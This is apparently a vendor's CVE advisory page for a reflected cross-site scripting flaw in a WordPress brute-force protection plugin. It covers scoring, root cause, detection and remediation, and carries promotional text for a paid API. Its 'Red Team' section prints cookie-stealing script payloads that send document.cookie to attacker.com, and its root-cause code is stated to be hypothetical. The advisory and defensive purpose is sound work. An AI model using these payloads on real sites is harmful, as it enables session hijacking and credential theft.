☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Everpress logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-39408

CVE-2025-39408 Cross-Site Scripting in Everpress
📅 PUBLISHED: 2025-04-24 16:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-39408 is a reflected Cross-Site Scripting (XSS) vulnerability in the EverPress BruteGuard – Brute Force Login Protection WordPress plugin, affecting versions from n/a through 0.1.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). Successful exploitation could lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session on the WordPress site.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve Apache or Nginx server misconfigurations. The plugin is designed to protect against brute force login attempts, but ironically, its own code introduces a security weakness.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is currently available (status: UNKNOWN/UNPATCHED), users are advised to disable or remove the plugin immediately. The plugin’s supply chain risk is elevated due to the lack of a fix and the potential for widespread exploitation across WordPress installations.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network – exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – no authentication needed.
  • User Interaction (UI): Required – victim must click a crafted link.
  • Scope (S): Changed – impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): Low – limited impact on availability.

Threat Level: High. The low attack complexity and no privileges required make this an attractive target for phishing campaigns and drive-by attacks targeting WordPress administrators.

Deep Dive & Mechanics

The vulnerability exists in the BruteGuard plugin’s handling of HTTP request parameters. The plugin likely reflects user input (e.g., error messages, status codes) without proper sanitization or encoding. When a crafted URL containing malicious JavaScript is sent to the plugin’s endpoint, the script is echoed back in the HTML response, executing in the victim’s browser.

Root Cause: The plugin uses functions like echo $_GET['param'] or similar without applying esc_html(), esc_js(), or wp_kses() WordPress sanitization functions. This allows an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/wp-admin/admin-ajax.php?action=bruteguard&error=<script>alert('XSS')</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin processes the error parameter and reflects it in the response without sanitization.
  4. The browser executes the injected script, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (bruteguard.php):

function bruteguard_handle_error() {
    $error = $_GET['error'];
    echo '<div class="error">' . $error . '</div>';
}

Patched Code (hypothetical):

function bruteguard_handle_error() {
    $error = isset($_GET['error']) ? esc_html($_GET['error']) : '';
    echo '<div class="error">' . $error . '</div>';
}

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A WordPress site with BruteGuard plugin version <= 0.1.4 installed and activated.
  • Ability to craft and deliver a malicious URL to a victim.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., via Shodan dork or manual inspection).
  2. Craft a payload: https://victim-site.com/wp-admin/admin-ajax.php?action=bruteguard&error=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
  3. Deliver the link via phishing email, social media, or other means.
  4. When the victim clicks, the script executes and exfiltrates cookies to the attacker’s server.

Example Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defender)

Detection Steps:

  1. Monitor web server logs for requests containing action=bruteguard and suspicious error parameters.
  2. Look for patterns like <script>, onerror=, or base64-encoded payloads in query strings.
  3. Use WAF rules to block reflected XSS attempts (see Detection Engineering).

Lab Setup:

  • Install WordPress and BruteGuard plugin in a controlled environment.
  • Use a browser with developer tools to inspect reflected parameters.
  • Simulate attacks using curl:
curl "http://localhost/wp-admin/admin-ajax.php?action=bruteguard&error=<script>alert(1)</script>"

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin-ajax.php with action=bruteguard and error parameter containing <script> tags.
    • Outbound connections to unknown domains from the WordPress server (data exfiltration).
  • File IOCs:
    • Modified .htaccess or wp-config.php (if attacker gains admin access).
    • Suspicious entries in WordPress wp_options table (e.g., malicious redirects).
  • Log IOCs:
    • Web server logs showing repeated requests with error=<script> patterns.
    • PHP error logs indicating uncaught exceptions from the plugin.

Detection Engineering

YARA Rule

YARA RULE
CVE_2025_39408_Reflected_XSS
Detects reflected XSS attempts targeting BruteGuard plugin
Reference: CVE-2025-39408
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
Reflected XSS Attempt Against BruteGuard Plugin
Detects HTTP requests with reflected XSS payloads targeting the BruteGuard plugin
Logsource: apache · access · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2025-39408 - Reflected XSS in BruteGuard Plugin
Protocol: HTTP · class: web-application-attack · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Disable or remove the BruteGuard plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing action=bruteguard and error=<script> patterns.
  3. Educate users about phishing links and the risks of clicking untrusted URLs.

Long-term Fix:

  • The vendor must release a patched version that sanitizes all reflected parameters using esc_html() or wp_kses().
  • Until then, consider alternative brute force protection plugins (e.g., Wordfence, Limit Login Attempts Reloaded).

Workaround:

  • Add the following to .htaccess to block malicious requests:
RewriteEngine On
RewriteCond %{QUERY_STRING} action=bruteguard [NC]
RewriteCond %{QUERY_STRING} error=.*<script [NC,OR]
RewriteCond %{QUERY_STRING} error=.*onerror [NC]
RewriteRule ^ - [F,L]

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 3 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-39408/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.